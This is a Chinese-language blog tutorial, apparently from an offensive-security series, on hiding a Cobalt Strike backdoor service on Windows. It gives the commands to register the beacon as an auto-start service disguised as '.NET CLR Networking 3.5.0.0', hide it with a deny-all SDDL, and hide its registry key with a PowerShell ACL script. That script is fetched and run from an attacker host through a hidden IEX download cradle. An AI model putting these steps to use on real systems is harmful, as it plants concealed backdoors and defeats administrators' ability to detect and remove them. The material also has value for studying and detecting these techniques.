Windows权限维持之利用安全描述符隐藏服务后门进行权限维持(八)

我们先打开cs的服务端

然后我们打开客户端

我们点击连接

然后弹出这个界面

然后我们新建一个监听器

然后我们生成一个beacon

然后把这个复制到目标主机

然后我们双击 运行

然后cs这边就上线了

然后我们把进程结束掉

然后我们再把他删除掉

然后我们创建服务

将后门程序注册为自启动服务是我们常用的一种进行权限维持的方法,通常可以通过sc或者powershell来进行创建。

cmd创建自启动服务

复制代码
sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Users\administrator\1.exe" depend= Tcpip obj= Localsystem start= auto

然后我们打开服务 就能看见我们新创建的服务 我们要把它开启

然后我们cs 这边就上线了

我们这里来查看服务

sc query | findstr ".NET CLR Networking 3.5.0.0"

这里出现第二个后门 因为我刚才又重新启动服务了 我们把第一个删除掉

当然我也可以用powershell

powershell创建自启动服务

复制代码
new-service --Name ".NET CLR Networking 3.5.0.0" --DisplayName ".NET CLR Networking 3.5.0.0" --BinaryPathName "cmd.exe /k C:\Users\administrator\beacon.exe"  --       StartupType AutomaticDelayedStart

但创建的服务很容易被发现通过sc query和Get-Service很容易发现,直接查询服务也能看见

通过修改SDDL( 安全描述符**)**隐藏服务

众所周知, windows访问控制模型分为两部分:

access token(访问令牌)

安全描述符

安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。安全描述符可以包含以下安全信息:

对象的所有者和主要组的Sid (安全标识符)

用于指定允许或拒绝特定用户或组的访问权限的DACL。

指定为对象生成审核记录的访问尝试类型的SACL。

一组限制安全描述符或其各个成员的含义的控制位。

windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在其SDDL,并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务:

复制代码
sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

然后我们服务就找不见了

在cmd窗口呀查询不到

在知道服务名的前提下查询会显示拒绝访问:

net start ".NET CLR Networking 3.5.0.0"

这里我们的cs也上线了

但这样做有一个问题:在注册表中很容易看到异常value。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NETCLRNetworking3.5.0.0

这里也有这个存在

修改注册表ACL

我们可以通过修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果。

这里给出一个通过powershell修改注册表项的访问权限的简单脚本:

复制代码
function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)

$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues" $inheritance = [System.Security.AccessControl.InheritanceFlags]"None" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( ` $person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)

$person = [System.Security.Principal.NTAccount]"Everyone"
$access =
[System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSu bKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,Chang ePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Allow"      $rule = New-Object System.Security.AccessControl.RegistryAccessRule( ` $person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)

Set-Acl $S $acl
}

我们在kail上新建1.ps1

然后我们开启web服务

python3 -m http.server 80

远程加载powershell脚本:

复制代码
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.25.138/1.ps1'));Server-Sddl-Change - Name '.NET CLR Networking 3.5.0.0'"

然后哦我们重启计算机

发现也是隐藏了

详细

利用安全描述符隐藏服务后门进行权限维持

相关推荐
xiaoye-duck34 分钟前
《Linux 网络编程》深入理解 IP 协议(二):网段划分、私有 IP 与 NAT 地址转换
linux·网络·ip
云老大-阿里云国际站代理商1 小时前
华为云国际站服务代理商:NAT网关怎么配?多台ECS共用公网IP要注意什么
服务器·华为云·云计算
kakakahahahaha3 小时前
Windows Steam 游戏存档在哪里?定位和恢复排查流程
windows·其他·电脑·笔记本电脑·内容运营·软件需求
Xy-unu3 小时前
Windows 开启外接显示器 HDR 后外接显示器无信号、无法扩展模式故障记录
windows
广州宏帝箱包3 小时前
出口箱包的包装标准:防潮、防摔、运输安全的设计要点
大数据·网络
彧azz3 小时前
Linux 网络编程学习总结
linux·网络·笔记·学习·面试
浅念-4 小时前
Redis基础详解:单线程模型、String与Hash数据结构
服务器·数据库·redis·sql·mysql·nosql数据库·nosql
updayday8544 小时前
离职域账号状态变更与Ping64操作记录核对
大数据·网络·数据库·安全·智能路由器
Shadow(⊙o⊙)4 小时前
Linux进阶知识1.0
linux·运维·服务器
安易算力5 小时前
PUE优化工程实践:从1.5到1.2的制冷架构与气流组织改造路径
网络·python·容器·架构·kubernetes